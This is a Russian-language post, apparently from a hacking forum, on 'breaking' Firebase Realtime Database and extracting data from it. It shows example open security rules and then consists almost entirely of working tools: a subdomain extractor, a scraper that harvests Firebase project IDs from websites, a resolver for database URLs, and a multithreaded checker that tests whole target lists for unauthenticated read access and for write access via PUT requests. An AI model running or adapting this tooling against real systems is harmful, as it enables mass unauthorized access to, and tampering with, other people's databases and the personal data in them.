Firebase пентест (Часть 1): Ломаем Realtime database и вытаскиваем от туда много интересного

{
  "rules": {
    ".read": false,
    ".write": false
  }
}

{
  "rules": {
    ".read": "now < 1767218400000",  // 2026-01-01
    ".write": "now < 1767218400000"  // 2026-01-01
  }
}

#!/usr/bin/env bash

in="$1"
out="$2"

[ -z "$in" ] && echo "usage: $0 inputfile outputfile" && exit 1

: > "$out"

while IFS= read -r line || [ -n "$line" ]; do
    host=${line#*://}
    host=${host##*@}
    host=${host%%[:/]*}
    host=${host,,}

    IFS='.' read -ra a <<< "$host"
    n=${#a[@]}

    if [ "$n" -le 2 ]; then
        continue
    fi

    sub="${a[0]}"

    for ((i=1; i<n-2; i++)); do
        sub+=".${a[i]}"
    done

    echo "$sub" >> "$out"
done < "$in"

from __future__ import annotations
import argparse
import concurrent.futures
import re
import sys
from urllib.parse import urlparse
from threading import Lock

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import requests
except Exception:
    sys.exit("Install requests: pip install requests")

try:
    import colorama
    colorama.init(autoreset=True)
    RED = colorama.Fore.RED + colorama.Style.BRIGHT
    GREEN = colorama.Fore.GREEN + colorama.Style.BRIGHT
    YELLOW = colorama.Fore.YELLOW + colorama.Style.BRIGHT
    CYAN = colorama.Fore.CYAN + colorama.Style.BRIGHT
    RESET = colorama.Style.RESET_ALL
except Exception:
    sys.exit("Install colorama: pip install colorama")

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"}
SUB_RX = re.compile(r'([A-Za-z0-9\-]{2,})\.(?:firebasedatabase\.app|firebaseapp\.com|appspot\.com|firebaseio\.com)', re.I)

FIELD_RX = {
    k: re.compile(rf'(?:["\']{re.escape(k)}["\']\s*[:=]\s*)(["\'`])([^"\']+)\1', re.I)
    for k in ("projectId", "authDomain", "databaseURL", "storageBucket")
}

FALLBACK_RX = re.compile(r'[\"\'`](projectId|authDomain|databaseURL|storageBucket)[\"\'`]\s*[:=]?\s*([\"\'`])([^\"\'\n]+)\2', re.I)


def norm_url(u: str):
    u = (u or "").strip()
    if not u:
        return None
    p = urlparse(u)
    return u if p.scheme in ("http", "https") or p.scheme == "" else u


def fetch(url: str, timeout: int):
    try:
        r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=True)
        return r.status_code, r.text
    except requests.exceptions.SSLError:
        try:
            r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=False)
            return r.status_code, r.text
        except Exception as e:
            return None, f"ERR:{e}"
    except Exception as e:
        return None, f"ERR:{e}"


def try_schemes(orig: str, timeout: int):
    p = urlparse(orig)
    if p.scheme in ("http", "https"):
        cand = [orig] + ([("https://" + p.netloc + p.path + (("?" + p.query) if p.query else ""))] if p.scheme == "http" else [])
    else:
        cand = ["https://" + orig, "http://" + orig]
    last = None
    for u in cand:
        s, t = fetch(u, timeout)
        if s is None:
            last = t
            continue
        return u, s, t
    return None, None, last or f"fail:{orig}"


def parse(text: str):
    found = {}
    low = (text or "").lower()
    domain_hit = any(d in low for d in (".firebasedatabase.app", "firebaseapp.com", "firebaseio.com", "appspot.com"))
    for k, rx in FIELD_RX.items():
        m = rx.search(text)
        if m:
            found[k] = m.group(2).strip()
    if len(found) < 1:
        for m in FALLBACK_RX.finditer(text):
            if m.group(1) not in found:
                found[m.group(1)] = m.group(3).strip()
    sub = SUB_RX.findall(text)
    if sub:
        found['sub'] = sub[0]
    return found, domain_hit


def pick_project_id(found: dict):
    pid = (found.get('projectId') or "").strip()
    if pid and pid != "-":
        return pid
    pid = (found.get('sub') or "").strip()
    if pid and pid != "-":
        return pid
    for k in ('authDomain', 'databaseURL', 'storageBucket'):
        v = (found.get(k) or "").strip()
        if not v:
            continue
        try:
            p = urlparse(v if v.startswith('http') else 'https://' + v)
            host = (p.netloc or p.path).split(':')[0]
        except Exception:
            host = v
        m = re.match(r'^([A-Za-z0-9\-]+)', host)
        if m:
            return m.group(1)
    return None


def inspect(u: str, timeout: int = 10):
    n = norm_url(u)
    if not n:
        return {'url': u, 'projectId': None, 'ok': False}
    tried, status, body = try_schemes(n, timeout)
    if status is None:
        return {'url': u, 'projectId': None, 'ok': False}
    found, hit = parse(body)
    pid = pick_project_id(found) or None
    return {'url': tried or n, 'projectId': pid, 'ok': bool(pid)}


def save_ids(path: str, rows: list):
    ids = sorted({r['projectId'] for r in rows if r.get('projectId')})
    try:
        with open(path, 'w', encoding='utf-8') as f:
            f.write('\n'.join(ids))
        print(f"{GREEN}Saved {len(ids)} ids to:{RESET} {path}")
    except Exception as e:
        print(f"{RED}Save err:{RESET} {e}")


def run(path: str, workers: int, timeout: int, opid_path: str | None = None):
    try:
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            lines = [l.strip() for l in f if l.strip()]
    except Exception as e:
        sys.exit(f"Read err:{e}")
    out = []
    tot = found = 0

    written_ids = set()
    lock = Lock()
    opf = None
    if opid_path:
        try:
            with open(opid_path, 'w', encoding='utf-8'):
                pass
            opf = open(opid_path, 'a', encoding='utf-8')
        except Exception as e:
            print(f"{RED}Can't open output file for writing:{RESET} {e}")
            opf = None

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futs = {ex.submit(inspect, l, timeout): l for l in lines}
        for fut in concurrent.futures.as_completed(futs):
            url = futs[fut]; tot += 1
            try:
                r = fut.result()
            except Exception:
                r = {'url': url, 'projectId': None, 'ok': False}
            out.append(r)
            pid = r.get('projectId')
            if pid:
                found += 1
                print(f"{GREEN}[PROJECT]{RESET} {r['projectId']} - {r['url']}")
                if opf:
                    with lock:
                        if pid not in written_ids:
                            try:
                                opf.write(pid + '\n')
                                opf.flush()
                                written_ids.add(pid)
                            except Exception as e:
                                print(f"{RED}Write err:{RESET} {e}")
            else:
                print(f"{YELLOW}[NO-PROJECT]{RESET} {r['url']}")

    if opf:
        try:
            opf.close()
        except Exception:
            pass
        print(f"{GREEN}Saved {len(written_ids)} ids to:{RESET} {opid_path}")

    return out, {'total': tot, 'found': found, 'not_found': tot - found}


def main():
    p = argparse.ArgumentParser()
    p.add_argument('file')
    p.add_argument('-opid', '--projectids', help='save project ids to file')
    p.add_argument('--workers', type=int, default=10)
    p.add_argument('--timeout', type=int, default=10)
    args = p.parse_args()
    rows, stats = run(args.file, args.workers, args.timeout, args.projectids)
    if not args.projectids:
        print(f"{YELLOW}No output file specified. Use -opid <file>{RESET}")
    print(f"{CYAN}Processed:{RESET} {stats['total']}  {GREEN}found:{stats['found']}{RESET} {YELLOW}not:{stats['not_found']}{RESET}")


if __name__ == '__main__':
    main()

#!/usr/bin/env python3
import argparse
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import colorama

colorama.init()

from colorama import Fore, Style

print(f"""{Fore.CYAN}
***************
*****************         Firebase Service Checker
****       *******        Made by YmbMember
****  **************      For LIMB.cc forum
****  **************
****  ****      ****
****  ********* ****
****  ******** *****
****  ******* *****
****  *************
*****************
***************
{Style.RESET_ALL}""")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--input", dest="input_file_path", required=True)
    parser.add_argument("-o", "--output", dest="output_file_path", required=True)
    parser.add_argument("-w", "--workers", dest="worker_count", type=int, default=10)
    parser.add_argument("-t", "--timeout", dest="timeout_seconds", type=float, default=8.0)
    parser.add_argument("-d", "--domains", dest="domains", default="firebaseio.com,firebasedatabase.app")
    args = parser.parse_args()

    input_file_path = args.input_file_path
    output_file_path = args.output_file_path
    worker_count = max(1, args.worker_count)
    timeout_seconds = args.timeout_seconds
    domain_list = [d.strip() for d in args.domains.split(",") if d.strip()]

    try:
        with open(input_file_path, "r", encoding="utf-8") as fh:
            project_ids = [line.strip().lstrip("\ufeff") for line in fh if line.strip()]
    except FileNotFoundError:
        print(f"{Fore.RED}File not found: {input_file_path}{Style.RESET_ALL}", file=sys.stderr)
        sys.exit(1)

    file_lock = threading.Lock()
    print_lock = threading.Lock()

    def check_project(project_id):
        session = requests.Session()
        session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"})
        found_any = False
        for domain in domain_list:
            url = f"https://{project_id}.{domain}"
            try:
                resp = session.get(url, allow_redirects=False, timeout=timeout_seconds)
            except requests.RequestException:
                continue
            if 300 <= resp.status_code < 400:
                with file_lock:
                    try:
                        with open(output_file_path, "a", encoding="utf-8") as outfh:
                            outfh.write(url + "\n")
                            outfh.flush()
                    except OSError:
                        with print_lock:
                            print(f"{Fore.RED}Error: {output_file_path}{Style.RESET_ALL}", file=sys.stderr)
                        return
                with print_lock:
                    print(f"{Fore.GREEN}{project_id} → {url}{Style.RESET_ALL}")
                found_any = True
                break
        if not found_any:
            with print_lock:
                print(f"{Fore.RED}{project_id} → not found{Style.RESET_ALL}")

    with ThreadPoolExecutor(max_workers=worker_count) as executor:
        futures = [executor.submit(check_project, pid) for pid in project_ids]
        for _ in as_completed(futures):
            pass

if __name__ == "__main__":
    main()

from __future__ import annotations
import argparse, random, string, sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from typing import Dict
import requests
import colorama

colorama.init(autoreset=True)
RED = colorama.Fore.RED + colorama.Style.BRIGHT
GREEN = colorama.Fore.GREEN + colorama.Style.BRIGHT
YELLOW = colorama.Fore.YELLOW + colorama.Style.BRIGHT
CYAN = colorama.Fore.CYAN + colorama.Style.BRIGHT
MAGENTA = colorama.Fore.MAGENTA + colorama.Style.BRIGHT
RESET = colorama.Style.RESET_ALL

DEF_TIMEOUT = 10
DEF_WORKERS = 10

print(f"""{CYAN}
***************
*****************         Firebase Realtime checker
****       *******        Made by YmbMember
****  **************      For LIMB.cc forum
****  **************
****  ****      ****
****  ********* ****
****  ******** *****
****  ******* *****
****  *************
*****************
***************
{RESET}""")

# Если нету протокола передачи - добавим
def norm(u: str) -> str:
    u = u.strip()
    if not u:
        return ""
    p = urlparse(u)
    if not p.scheme:
        u = "https://" + u
    return u.rstrip("/")

# Генератор случайных строк (надо для чека прав на чтение)
def rnd(n=7) -> str:
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))

def chk_read(base: str, timeout: int) -> Dict:
    r = {"available": False, "reason": None, "details": {}, "content_length": None}
    try:
        resp = requests.get(base + "/.json", timeout=timeout, allow_redirects=True)
        r["details"]["initial_code"] = resp.status_code
        r["details"]["initial_text"] = resp.text
        r["content_length"] = len(resp.content) if resp.content else None
    except requests.Timeout:
        r["reason"] = f"timeout waiting for /.json ({timeout}s)"
        return r
    except requests.RequestException as e:
        r["reason"] = f"request error to /.json: {e}"
        return r

    sc = resp.status_code // 100
    txt = (resp.text or "").strip()

    # Плохой статус код - рандомим для точной проверки
    if sc in (3, 4):
        token = rnd(7)
        try:
            r2 = requests.get(f"{base}/{token}.json", timeout=timeout, allow_redirects=True)
            r["details"]["random_code"] = r2.status_code
            r["details"]["random_text"] = r2.text
        except requests.Timeout:
            r["reason"] = f"timeout waiting for random endpoint ({timeout}s)"
            return r
        except requests.RequestException as e:
            r["reason"] = f"request error to random endpoint {token}: {e}"
            return r

        sc2 = r2.status_code // 100
        if sc2 in (3, 4):
            r["reason"] = f"initial {resp.status_code} and random {r2.status_code} => unreadable"
            return r
        if txt == "null" or r2.text.strip() == "null":
            r["available"] = True
            r["reason"] = 'responded "null"'
            return r

        r["available"] = True
        r["reason"] = f"random returned {r2.status_code}"
        return r

    if txt == "null":
        r["available"] = True
        r["reason"] = '/.json = "null"'
        return r

    r["available"] = True
    r["reason"] = f"/.json returned {resp.status_code}"
    return r

# Проверка можно ли записывать
def chk_write(base: str, timeout: int) -> Dict:
    r = {"available": False, "reason": None, "details": {}}
    key = "pchk_" + rnd(8)

    try:
        resp = requests.put(f"{base}/{key}.json", json={"_pentest_check": key}, timeout=timeout)
        r["details"]["put_code"] = resp.status_code
    except requests.Timeout:
        r["reason"] = f"timeout during PUT ({timeout}s)"
        return r
    except requests.RequestException as e:
        r["reason"] = f"PUT error: {e}"
        return r

    if 200 <= resp.status_code < 300:
        r["available"] = True
        r["reason"] = f"PUT returned {resp.status_code}"
        try:
            d = requests.delete(f"{base}/{key}.json", timeout=timeout)
            r["details"]["delete_code"] = d.status_code
        except requests.RequestException as e:
            r["details"]["delete_error"] = str(e)
        return r

    r["reason"] = f"PUT returned {resp.status_code}"
    return r

def is_err(d: Dict) -> bool:
    if not isinstance(d, dict):
        return False
    r = (d.get("reason") or "").lower()
    if any(k in r for k in ("timeout", "request error", "put error", "exception")):
        return True
    codes = [v for k, v in (d.get("details") or {}).items() if k.endswith("_code")]
    return codes and all(c is None for c in codes)

def colored_bool(v: bool) -> str:
    return GREEN + "true" + RESET if v else RED + "false" + RESET

def colored_skip() -> str:
    return YELLOW + "skipped" + RESET

def output(o: Dict, verbose: bool) -> None:
    url = o["target"]
    r = o["read"]
    w = o["write"]

    print(f"[URL] {url}")

    if is_err(r):
        print(f"Read  - {RED}false{RESET}    {YELLOW}Error. Use -v for more info{RESET}")
        if verbose:
            print("   Reason:", r.get("reason"))
    else:
        a = r.get("available", False)
        print(f"Read  - {colored_bool(a)}")
        if a and r.get("content_length") is not None:
            print(f"  {MAGENTA}[+] Content Length: {r['content_length']}{RESET}")
        if verbose and r.get("reason"):
            print("   Reason:", r["reason"])

    if w.get("skipped"):
        print(f"Write - {colored_skip()}    (use --write to enable)")
        return

    if is_err(w):
        print(f"Write - {RED}false{RESET}    {YELLOW}Error. Use -v for more info{RESET}")
        if verbose:
            print("   Reason:", w.get("reason"))
    else:
        print(f"Write - {colored_bool(w.get('available', False))}")
        if verbose and w.get("reason"):
            print("   Reason:", w["reason"])

def process(url: str, do_write: bool, timeout: int) -> Dict:
    url = norm(url)
    if not url:
        return {"target": url, "error": "empty"}

    try:
        r = chk_read(url, timeout)
    except Exception as e:
        r = {"available": False, "reason": f"exception during read: {e}", "details": {}}

    if do_write:
        try:
            w = chk_write(url, timeout)
        except Exception as e:
            w = {"available": False, "reason": f"exception during write: {e}", "details": {}}
    else:
        w = {"skipped": True, "reason": "write disabled"}

    return {"target": url, "read": r, "write": w}

def main():
    p = argparse.ArgumentParser()
    g = p.add_mutually_exclusive_group(required=True)
    g.add_argument("-u", "--url")
    g.add_argument("-l", "--list")
    p.add_argument("--write", action="store_true")
    p.add_argument("-v", "--verbose", action="store_true")
    p.add_argument("-w", "--workers", type=int, default=DEF_WORKERS)
    p.add_argument("--timeout", type=int, default=DEF_TIMEOUT)
    p.add_argument("-or", "--out-read")
    p.add_argument("-ow", "--out-write")
    args = p.parse_args()

    if args.url:
        targets = [args.url.strip()]
    else:
        targets = [l.strip() for l in open(args.list, encoding="utf-8") if l.strip()]

    read_ok = []
    write_ok = []
    results = []

    # Откроем файлы заранее в режиме добавления (append),
    # чтобы сразу дописывать найденные URL по мере обнаружения.
    out_read_f = None
    out_write_f = None
    written_read_set = set()
    written_write_set = set()

    try:
        if args.out_read:
            out_read_f = open(args.out_read, "a", encoding="utf-8", buffering=1)  # line buffered
        if args.out_write:
            out_write_f = open(args.out_write, "a", encoding="utf-8", buffering=1)
    except OSError as e:
        print(RED + f"Error opening output files: {e}" + RESET)
        # продолжаем без файлов

    with ThreadPoolExecutor(max_workers=args.workers) as ex:
        futs = {ex.submit(process, t, args.write, args.timeout): t for t in targets}

        for fut in as_completed(futs):
            t = futs[fut]
            print("=" * 60)
            try:
                out = fut.result()
            except Exception as e:
                print(f"[URL] {t}\n  ERROR: {e}")
                continue

            if out.get("error"):
                print(f"[URL] {t}\n  ERROR: {out['error']}")
                continue

            output(out, args.verbose)

            # При обнаружении — сразу записываем в файл(ы), если они заданы.
            if out["read"].get("available"):
                read_ok.append(t)
                if out_read_f and t not in written_read_set:
                    try:
                        out_read_f.write(t + "\n")
                        out_read_f.flush()
                        written_read_set.add(t)
                    except OSError as e:
                        print(YELLOW + f"Warning: cannot write to out-read file: {e}" + RESET)

            if out["write"].get("available"):
                write_ok.append(t)
                if out_write_f and t not in written_write_set:
                    try:
                        out_write_f.write(t + "\n")
                        out_write_f.flush()
                        written_write_set.add(t)
                    except OSError as e:
                        print(YELLOW + f"Warning: cannot write to out-write file: {e}" + RESET)

            results.append(out)

    # Закрываем файлы, если открывали
    if out_read_f:
        out_read_f.close()
    if out_write_f:
        out_write_f.close()

    # Если файлы не были заданы — можно записать итоговые списки как раньше
    if not args.out_read:
        if read_ok:
            print(f"\nReadable URLs ({len(read_ok)}):")
            for u in read_ok:
                print(u)
    else:
        print(f"Wrote {len(written_read_set)} readable URLs to {args.out_read}")

    if not args.out_write:
        if write_ok:
            print(f"\nWritable URLs ({len(write_ok)}):")
            for u in write_ok:
                print(u)
    else:
        print(f"Wrote {len(written_write_set)} writable URLs to {args.out_write}")

    print("\n=== Statistics ===")
    print("Total tested:", len(results))
    print("Readable:", len(read_ok))
    print("Writable:", len(write_ok))

if __name__ == "__main__":
    main()